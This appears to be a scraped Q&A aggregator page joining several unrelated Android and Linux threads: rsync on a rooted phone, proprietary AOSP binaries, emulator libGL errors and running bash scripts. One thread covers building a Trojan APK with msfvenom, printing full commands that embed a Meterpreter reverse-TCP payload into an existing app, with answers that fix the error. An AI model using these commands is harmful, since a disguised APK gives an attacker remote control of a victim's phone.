Android 64bit terminal / rsync - android

I am trying to get my rooted LG G4 to rsync with my server. On the good old LG G2 it is running smoothly but the 64bit architecture throws errors at me.
I tried to come up with a solution from other sources (here and other sites) But it just goes on to the next file it cannot load correctly
The code I use is as follows:
export LD_PRELOAD=/system/lib64/libsigchain.so; export PATH=$PATH:/data/data/burrows.apps.busybox/app_busybox; export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/data/data/burrows.apps.busybox/app_busybox:/vendor/lib*:/system/lib*; /data/data/burrows.apps.busybox/app_busybox/rsync -v -E --delete -s -r -t -l --partial --size-only --rsh="/data/data/burrows.apps.busybox/app_busybox/ssh -y -i /keypath/ssh.key -p10022" user#homeip:/some/folder/ /local/folder
First it was the libsigchain.so 32/64bit error
Now it is this: CANNOT LINK EXECUTABLE DEPENDENCIES: "/system/lib/libsigchain.so" is 32-bit instead of 64-bit CANNOT LINK EXECUTABLE DEPENDENCIES: "libc.so" is 64-bit instead of 32-bit
Be it tasker, secure settings or terminal emulator ...
I would appreciate any suggestions.

Related

metasploit: Malformed version number string when selecting dalvik as architecture

I’m trying to create a Trojan apk for android using metasploit, this is the command I’m using:
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
And I'm getting this error:
Error: Malformed version number string 10:55:45 up 1:23, 1 user, load average: 0.62, 0.54, 0.39
USER TTY FROM LOGIN# IDLE JCPU PCPU WHAT
user123 tty7 :0 09:32 1:23m 1:10 0.13s /sbin/upstart --user
2.0.2-dirty
Then I tried selecting different architecture e.g. java:
msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
and it worked (something-Out.apk was generated). So it seems like the Malformed version number string error only happens when dalvik is selected as the architecture, any idea why this is happening and how to fix it?
I'm doing this on Ubuntu on VirtualBox, which is run from a Mac. Any help will be appreciated, thanks!
Credits to:
https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/
Had the same problem, but I was trying to run a simpler version of the code (which works obviously). After searching in forums, turned out to be a problem with apktool. I downloaded apktool using sudo apt-get install apktool, but that version doesn't work as it should.
Once removed with sudo apt-get remove apktool I downloaded the latest version from the website and it worked.
I know it's been a year, but I've been searching for days. Hope it helps... someone.
I had the same problem with msfvenom. Try running "msfupdate" it will download a 70 mib package and it will fix your problem.
You just need follow this syntax:
EX:
rmsfvenom -a java --platform android -x z.apk -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -o o.apk
So also if you using -o will not need 'R'

AOSP 6.0 Build for hammerhead - proprietary binaries

I just built AOSP 6.0 for hammerhead and attempted to flash it. My phone froze at the Google logo and refused to boot. I'm assuming I need to use the proprietary binaries found here https://developers.google.com/android/nexus/drivers
How would I extract these and put them in to my build? Thanks.
Be certain to download the Nexus 5 binaries that match the version of AOSP that you're building. For example, if you're building the most recent version of AOSP, when you initialized your repo you entered this command:
$ repo init -u https://android.googlesource.com/platform/manifest -b android-6.0.1_r72
Take that last branch code (everything after '-b') android-6.0.1_r72 and search for it over here:
https://source.android.com/source/build-numbers.html#source-code-tags-and-builds
It matches build M4B30X
Now, take that build code M4B30X and search for it over here:
https://developers.google.com/android/nexus/drivers
Download the corresponding binaries:
$ cd ~/Downloads
$ wget https://dl.google.com/dl/android/aosp/broadcom-hammerhead-m4b30x-7c7b231f.tgz
$ wget https://dl.google.com/dl/android/aosp/lge-hammerhead-m4b30x-74fa3aa5.tgz $ wget https://dl.google.com/dl/android/aosp/qcom-hammerhead-m4b30x-158606cf.tgz
Verify the integrity of each download:
$ echo "01a03cf36b20ee2460d108c1d199f4b012b084368cddfbff1e40ff8270b54d6f broadcom-hammerhead-m4b30x-7c7b231f.tgz" | sha256sum -c
$ echo "a533f4c82d430181b97ab2321acf10ab1e2b126de7bb15437c969331541af7cb lge-hammerhead-m4b30x-74fa3aa5.tgz" | sha256sum -c
$ echo "9a2760bda79e3be7bbe7203c05273c80b0d043d9aaf15be20361e35b16ef8905 qcom-hammerhead-m4b30x-158606cf.tgz" | sha256sum -c
Extract each gzip file:
$ tar xzvf broadcom-hammerhead-m4b30x-7c7b231f.tgz
$ tar xzvf lge-hammerhead-m4b30x-74fa3aa5.tgz
$ tar xzvf qcom-hammerhead-m4b30x-158606cf.tgz
Execute the resulting self-extracting files from the source tree's root folder(~/AOSP)
$ cd ~/AOSP
$ ~/Downloads/extract-broadcom-hammerhead.sh
$ ~/Downloads/extract-lge-hammerhead.sh
$ ~/Downloads/extract-qcom-hammerhead.sh
After executing each file hit the Enter key once and then hit
the Space bar until you reach the end of each document.
At the end of each document type:
I ACCEPT
and hit the Enter key.
To accommodate the new binaries you must initiate a full rebuild, so set the
environment:
$ ./ build/envsetup.sh
$ lunch aosp_hammerhead-userdebug
And make the synthetic target 'clobber' in order to clean:
$ make clobber
Now rebuild:
(If you're running a Core2Duo)
$ make -j4
(Or, if you're running something bigger)
$ make -j16
Uncompress the downloaded files, you will get bash files. Put all these files in the root directory of your AOSP project and execute them. You will have to accept the licenses and the binaries will be extracted in the right directory.
After this step. In the AOSP root directory, execute :
make clobber
It will clean the current build (out/**). It is needed for the make to notice the changes regarding the AOSP build official procedure.
Then you can compile again the sources.
make -j4
(or j8/j16 regarding your CPU threads number)

Eclipse Android Emulator won't launch

I have installed Eclipse 4.2 with Eclipse android plugin(ADT)on ubuntu 11.10. when i launch "Hello World" project as an android application, it simply wont launch!
ps -x > log.txt after launching the emulator, output:
1000 7221 20.0 0.6 16884 6908 ? D 18:11 0:00 /home/tutakhail/android-sdks/tools/emulator-arm -avd AndroidBrowser -netspeed full -netdelay none
launching the emulator manually from shell, i get the following error, shortly after which the emulator launches but is very slow.
emulator: ERROR: Could not load OpenGLES emulation library: libOpenglRender.so: cannot open shared object file: No such file or directory
emulator: WARNING: Could not initialize OpenglES emulation, using software renderer.
Any hints on what could be the issue here? Perhaps related to Ubuntu?
Turns out the solution is to point LD_LIBRARY_PATH to the /tools/lib path.
Below works for me.
➜ tools file ../tools/lib/libOpenglRender.so
../tools/lib/libOpenglRender.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
➜ tools export LD_LIBRARY_PATH=/home/xxxx/devel/android-sdk-linux/tools/lib:$LD_LIBRARY_PATH
➜ tools ./emulator-x86 -avd AtomX86 -gpu on -qemu -m 1024 -enable-kvm
emulator: emulator window was out of view and was recentered
....
I guess its a bug affecting the latest versions of the ADTs perhaps has something to do with NVIDIA GPUs drivers. The issue is discussed here:
https://groups.google.com/forum/?fromgroups#!topic/adt-dev/nlA07toW1fc
The work around that I have found which at least lets me execute my applications till a permanent solution is released, is that by first launching the emulator from shell even if it throws the error. After which i right-click and run my projects as an "Android application". The emulator does surprisingly execute them!
I've got similar error, and I guess this error caused by missing libGL.so.
Install package libgl1-mesa-dev;
sudo apt-get install libgl1-mesa-dev
Source
Try running emulator from command line first to see if everything goes well.
You may need to add options like:
-no-audio
-gpu off
I've seen audio preventing emulator to start on some Ubuntu configurations.
I tried to use the Intel Hardware Acceleration in Ubuntu 12.04 for running emulators using KVM package. However I was getting the error, "Failed to start RenderThread". Installing the package libgl1-mesa-dev and reducing the Device RAM Size to 512 solved my problem. The emulator now is indeed atleast 10X faster. I hope this would help someone trying to emulate android devices in Ubuntu using Intel processor that supports Virtualizattion Technology.
SO i guess maybe you haven't installed everything properly.
You should check if you followed the steps as shown in :
http://www.wikihow.com/Install-Android-on-Ubuntu-Linux-With-Eclipse-Ide
After installing it properly and setting up the PATH environment variables .
Also another thing you can do is try deleting the AVD emulator and creating a new one and then try again .
Also i found your question over here at : https://groups.google.com/forum/?fromgroups#!topic/adt-dev/nlA07toW1fc
THe question you asked is not really specific so just try following the steps.
The following command saved my life with the same problem
sudo apt-get install libgl1-mesa-dev
If using eclipse, you have to add in Project-Properties in the "Java Build Path" -> Libraries -> Android 4.4 -> "Native library location" the path to sdk/tools/lib directory.
For me this is "install-dir-of-sdk"/sdk/tools/lib"
Configure ANDROID_HOME
export ANDROID_HOME=//android-sdk-macosx
export PATH=${PATH}:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools
and set LD_LIBRARY_PATH
export LD_LIBRARY_PATH="$ANDROID_HOME/emulator/lib64:$LD_LIBRARY_PATH"
To run ARM version
cd $ANDROID_HOME/emulator/
./emulator64-arm -avd Nexus_5X_ARM_22 -no-audio -gpu off
I solved this on my Red Hat Linux 64 bit by installing the 32bit libGL (it should be located in /usr/lib/)
sudo yum install mesa-libGL.i686
libOpenglRender.so and other necessary files are present, indeed, in tools/lib64, while avd tries to find them in tools/lib
Making symbolic links to the files and dirs helped (in my case)
ln -s ../lib64/qt qt
ln -s ../lib64/gles_mesa gles_mesa
ln -s ../lib64/libstdc++ libstdc++
ln -s ../lib64/lib64GLES_V2_translator.so lib64GLES_V2_translator.so
ln -s ../lib64/lib64emugl_test_shared_library.so lib64emugl_test_shared_library.so
ln -s ../lib64/lib64OpenglRender.so lib64OpenglRender.so
ln -s ../lib64/lib64GLES_CM_translator.so lib64GLES_CM_translator.so
ln -s ../lib64/lib64EGL_translator.so lib64EGL_translator.so
(seems to be bug in original config, as that happens with fresh install of the studio/sdk)

Failed to load libGL.so on Android

I am using Ubuntu 12.04 (Precise Pangolin) with the Oracle JDK 7, and when I am running the Android emulator from Eclipse, it's giving this error:
[2012-07-04 02:52:10 - Emulator] error libGL.so: cannot open shared object file: No such file or directory
[2012-07-04 02:52:10 - Emulator] Failed to load libGL.so
Also the emulator is very slow. How can I solve this problem?
I have the Android SDK installed into ~/android-sdk-linux_x86, so I did:
ln -s /usr/lib/libGL.so.1 ~/android-sdk-linux_x86/tools/lib/libGL.so
This solves errors just like linking to /usr/lib does, but it doesn't require root and doesn't mess with core system directories.
On 64-bit Ubuntu 12.04, do it like this:
$ sudo apt-get install git-core gnupg flex bison gperf build-essential \
zip curl libc6-dev libncurses5-dev:i386 x11proto-core-dev \
libx11-dev:i386 libreadline6-dev:i386 libgl1-mesa-glx:i386 \
libgl1-mesa-dev g++-multilib mingw32 openjdk-6-jdk tofrodos \
python-markdown libxml2-utils xsltproc zlib1g-dev:i386
$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so
Source: Installing required packages (Ubuntu 12.04)
I am using Ubuntu 12.04 64-bit. Using the following command to solve the problem
sudo ln -s /usr/lib32/fglrx/libGL.so.1.2 /usr/lib/libGL.so
Note: This is applicable only to those who use the AMD/ATI graphic drivers.
For 32-bit Ubuntu 12.04 LTS, this worked:
sudo apt-get install libgl1-mesa-dev
None of the following worked:
cd /usr/lib/i386-linux-gnu/mesa/
sudo ln -s libGL.so.1.2 libGL.so
sudo ln -s libGL.so.1.2 /usr/lib/libGL.so
ln -s libGL.so.1.2 ~/android/android-sdk-linux/tools/lib/libGL.so
What works for me (ubuntu 12.04 64bit) was just to run :
sudo apt-get install libgl1-mesa-dev
I found that libGL.so exists in directory /usr/lib/x86_64-linux-gnu/
Installation of 32 bit version was not working.
On 64 bit Ubuntu 12.04, there is no /usr/lib64. It is /usr/lib only.
Also, on my machine, libGL.so isn't present. Instead the file is libGLEW.so
To install /usr/lib/LibGL.so you can run:
sudo apt-get install libgl1-mesa-dev
However, it didn't solve the problem for me. In fact, it probably screwed up my system.
This worked for me on 64 bit Ubuntu 12.10 and the ADT bundle:
ln -s /usr/lib/x86_64-linux-gnu/mesa/libGL.so.1 ~/adt-bundle-linux-x86_64/sdk/tools/lib/libGL.so
If you don't have /usr/lib/x86_64-linux-gnu/mesa/libGL.so.1 just install libgl1-mesa-glx
sudo apt-get install libgl1-mesa-glx
I think I got it right, no warnings and no slowness... This might not work with proprietary drivers, though.
Make sure libgl1-mesa-glx:i386 is installed (even if you got a x64 SO file). Then do:
sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1.2 /usr/lib/libGL.so
NVidia Optimus:
Running on dual graphics (intel and nvidia), I used the following:
Install Bumblebee (see: https://wiki.ubuntu.com/Bumblebee#Installation)
Install the required lib.
Run the emulator on the nvidia discrete card.
This should do the trick:
sudo add-apt-repository ppa:bumblebee/stable
sudo add-apt-repository ppa:ubuntu-x-swat/x-updates
sudo apt-get update
sudo apt-get install bumblebee bumblebee-nvidia linux-headers-generic
sudo apt-get install ia32-libs
Whenever you wish to run the emulator, just use optirun:
optirun emulator #<avd_name>
I should give a warning that I only installed Linux yesterday. So I don't really know what I'm doing….
Referring to http://developer.android.com/sdk/installing/index.html, I installed ia32-libs and did:
ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1.2 /usr/lib/i386-linux-gnu/mesa/libGL.so
That's all I did to solve this problem.
I use Linux Mint 14 - 64 bit and for me, it worked :) :
sudo apt-get install libgl1-mesa-glx libgl1-mesa-dev
On Ubuntu 12.04 64-bit, GNOME 3.4, I first referred to http://developer.android.com/sdk/installing/index.html and installed ia32-lib, which will generate /usr/lib/i386-linux-gnu/mesa/libGL.so.1.2.0
Then I run the below command and solved this problem:
sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1.2.0 /usr/lib/libGL.so
This is slightly different from gridstation's answer.
I guess there's no need to install the Mesa driver locally, which may cause issues with your real video drivers.
On Ubuntu 64 bit,
1. Check libGL,
$ locate libGL.so
/usr/lib/i386-linux-gnu/mesa/libGL.so.1
/usr/lib/i386-linux-gnu/mesa/libGL.so.1.2.0
/usr/lib/x86_64-linux-gnu/mesa/libGL.so.1
/usr/lib/x86_64-linux-gnu/mesa/libGL.so.1.2.0
2. Create a symlink where the SDK is installed
ln -s /usr/lib/x86_64-linux-gnu/mesa/libGL.so.1 /usr/local/android-studio/sdk/tools/lib/libGL.so
To make it work on a Ubuntu 12.10 (Quantal Quetzal) 64-bit, you have to do two things:
1) You have to initialize LD_LIBRARY_PATH
Example:
export LD_LIBRARY_PATH=~/tests/android/adt-bundle-linux-x86_64/sdk/tools/lib
Comments: change the path to your location
2) You have to create a symbolic link
a) Use locate libGL to find the correct library:
rudy#vsolutions:~$ locate libGL
/home/rudy/opt/android/android-sdk-linux/tools/lib/libGLES_CM_translator.so
/home/rudy/opt/android/android-sdk-linux/tools/lib/libGLES_V2_translator.so
/usr/lib/i386-linux-gnu/libGLU.so.1
/usr/lib/i386-linux-gnu/libGLU.so.1.3.1
...
/usr/lib32/nvidia-current/libGL.so.304.43
b) Create the soft link
sudo ln -s /usr/lib/x86_64-linux-gnu/mesa/libGL.so.1.2.0 /usr/lib/libGL.so
Comments: use a 64-bit library on a 64-bit operating system!
Now start the emulator
My system is Optimus, and I have installed Bumblebee. I can use "Intel Open Source Technology Center" "Mesa DRI Intel(R) Ironlake Mobile " "2.1 Mesa 9.0" or "NVIDIA Corporation" "GeForce GT 330M/PCIe/SSE2" "3.3.0 NVIDIA 304.43".
a) Intel
/home/rudy/tests/android/adt-bundle-linux-x86_64/sdk//tools/emulator64-arm -avd avd_42 -scale 0.46 -gpu on -verbose
b) Nvidia
optirun /home/rudy/tests/android/adt-bundle-linux-x86_64/sdk//tools/emulator64-arm -avd avd_42 -scale 0.46 -gpu on -verbose
Comments:
I didn't see any difference between the Intel and the Nvidia cards... It is certainly because the emulator is not GPU intensive.
On my system an Intel Core i5, it took almost 1 minute to start the emulator... Please be patient... I find the emulator rather fast after it is loaded (the 1 minute to wait). If you start the emulator from the Eclipse IDE, then the emulator does a software emulation (the GPU is off) and took 1 min 30 to start... It is much more slower than using the Intel or Nvidia cards!!!
verbose is the parameter to use to display more diagnostics
optirun is the command to make use of the Nvidia on Bumblebee. If you don't have Bumblebee don't use it!
avd is a virtual device
gpu on to make use of the graphical card
OSError: libGL.so: cannot open shared object file: No such file or directory
It may appear on Linux systems when you try to launch VNL for the first time.
To solve it, create (as administrator) a new link in /usr/lib :
sudo ln -s /usr/lib/libGL.so.1.2 /usr/lib/libGL.so
If you have a 64-bit Linux, use /usr/lib64 instead .
First check that you actually have libGL.so.1.2 in /usr/lib or /usr/lib64 ; it might be called libGL.so.1 or something else instead, or located in another directory, depending on the video drivers.
You can use locate libGL to find the correct file to link to.
I had the same issue. But in my case, I solved it another (I think, better) way.
In my situation (Lubuntu 13.10), it was enough to simply also install the library libgl1-mesa-dev through Synaptic Package manager (the libgl1-mesa-dri library was already installed by default when the Lubuntuu distro was set up).
That solves all the hassle of putting links from one file to the other and also prevents polluting your system:
How will you know after several months (or years) what dedicated links you've put to keep the system running?
What about a future updates, if you start to do those things yourself? Will something be broken/not updated due to "manual intervention"?
If you use the "system mechanism", it's all done for you. And correctly done. That's why those tools are there in the first place.
Best rgds,
Similar to user1289608, I was able to do a sym link from an existing install of Mesa:
sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1.2 /usr/lib/libGL.so
I am using Ubuntu 12.04 64-bit. Linking /usr/lib64/libGLC.so.0 to /usr/lib64/libGL.so seems to solve the problem.
EDIT: It stops the error messages, but the emulator is still slow for me.
This worked for me:
Restart the adb from the DDMS:
In Eclipse: Window > Open Perspective... > Other > DDMS. Select the emulator from the left side pane and select "Restart adb"
You can also restart the adb server from the terminal window.
android-sdk-linux/platform-tools/adb kill-server
android-sdk-linux/platform-tools/adb start-server
I found the folder for libGL by the command "locate"
It turned out to be in /usr/lib/i386-linux-gnu/
~$ locate libGL
/usr/lib/i386-linux-gnu/libGLEW.so.1.8
/usr/lib/i386-linux-gnu/libGLEW.so.1.8.0
/usr/lib/i386-linux-gnu/libGLEWmx.so.1.8
/usr/lib/i386-linux-gnu/libGLEWmx.so.1.8.0
/usr/lib/i386-linux-gnu/libGLU.so.1
/usr/lib/i386-linux-gnu/libGLU.so.1.3.1
/usr/lib/i386-linux-gnu/mesa/libGL.so.1
/usr/lib/i386-linux-gnu/mesa/libGL.so.1.2.0
For my Debian 7 'Wheezy' installation I used the following command:
ln -s /usr/lib/x86_64-linux-gnu/libGL.so.1 opt/android/tools/lib/libGL.so
sudo apt-get install libgl1-mesa-dev
cd ~/Development/adt-bundle-linux-x86_64-20140321/sdk/tools/lib
unlink libGL.so
ln -s /usr/lib/x86_64-linux-gnu/mesa/libGL.so.1.2.0 libGL.so
that's it!
I had this problem because I had checked "Use Host GPU" when creating my AVD. I tried it with that option unchecked and I was able to successfully start the emulator. This is acceptable for my testing purposes, but if using the host GPU is important you'll probably want to try some of the other solutions here.
I had the same problem. Reinstalling the Nvidia driver fixed the segmentation fault for me.
I solved this problem by reinstalling libgl1, both the 64- and 32-bit libraries:
$ sudo apt-get install --reinstall libgl1-mesa-glx libgl1-mesa-glx:i386
Background: Previously I switched from the free radeon driver back to fglrx. I guess this somehow screwed up my libgl1, because fglrx comes with its own version.
Besides, I think that the other solutions provided here are possibly dangerous, because it is wrong to symlink 32 bit shared libraries into the (64 bit) /lib/ directory.
Check if you have libgl1-mesa-* packages installed. If so, install the libgl1-mesa-dev package to get the unversioned shared objects.
You shouldn't have to do this -- it's the Android team's error. Give them a break, they're only Java developers.

How to run BASH script in my Android?

My same BASH script is working in Fedora/CentOS.
But I am testing one Android eee pad transformer.
Where i have terminal access and i wrote a small test script. But its not working, how can i fix it? what am i doing wrong?
/data/data/berserker.android.apps.sshdroid/home $ cat test.sh
#!/bin/bash
var=`ifconfig -a`;
echo $var;
/data/data/berserker.android.apps.sshdroid/home $ chmod +x test.sh
/data/data/berserker.android.apps.sshdroid/home $ ./test.sh
sh: ./test.sh: not found
/data/data/berserker.android.apps.sshdroid/home $ uname -a
Linux localhost 2.6.36.3-00004-g069b8b5 #1 SMP PREEMPT Wed May 11 22:14:22 CST 2011 armv7l GNU/Linux
/data/data/berserker.android.apps.sshdroid/home $ bash ./test.sh
sh: bash: Permission denied
/data/data/berserker.android.apps.sshdroid/home $ ls -l /bin/bash
ls: /bin/bash: No such file or directory
/data/data/berserker.android.apps.sshdroid/home $ find / -name "bash"
find: /config: Permission denied
lots more.......
find: /proc/595/task/598/fd: Permission denied
......
find: /data: Permission denied
find: /root: Permission denied
Follow up:
This is my script now which works:
#!/bin/sh
echo "hello wassup, run me simply as './test.sh'";
or
#!/bin/bash
echo "hello wassup, run me using 'sh ./test.sh'";
in Android the shell is located in /system/bin/sh not /bin/sh like it is on most Unix-like systems. So even if you change #!/bin/bash to #!/bin/sh it will still not work. you'll have to use #!/system/bin/sh
Android is not a GNU/Linux distribution so you can't expect that all scripts that run on GNU/Linux to also work on Android.
May be it will work when calling interpreter with a script?
$ bash ./test.sh
I saw, that although it is specified #!/bin/bash error was posted by sh - may be it do wrong.
UPD
$ sh ./test.sh
Most Android devices don't have a bash interpreter installed. If you really need to run the script across Linux and Android, you could try using BusyBox but that will require rooting your device (and potentially voiding your warranty). Even then though, I don't know if the ifconfig utility is included in BusyBox.
I would strongly recommend using the Android SDK to write an app to do whatever your trying to accomplish.
As was stated, the Android OS (up to and including 4.0) does not include the BASH interpreter (just shell). While BusyBox is a great tool, I believe it's only a single executable that combines stripped-down-functionality-for-size versions of common UNIX utilities, but doesn't actually include the BASH interpreter.
For an Android compiled version of the BASH interpreter, refer to this Forum thread:
http://forum.xda-developers.com/showthread.php?t=537827
You can install Busybox, which provides you with many utilities such as awk, file, etc... and Terminal Emulator.
Create a shell file with #!/system/bin/sh as the first line (shebang)
Now place the completed script under /system/xbin or /system/bin and run it from the Terminal Emulator
The information is an excerpt from this article : HOW TO RUN SHELL SCRIPTS ON ANDROID DEVICES

Categories

Resources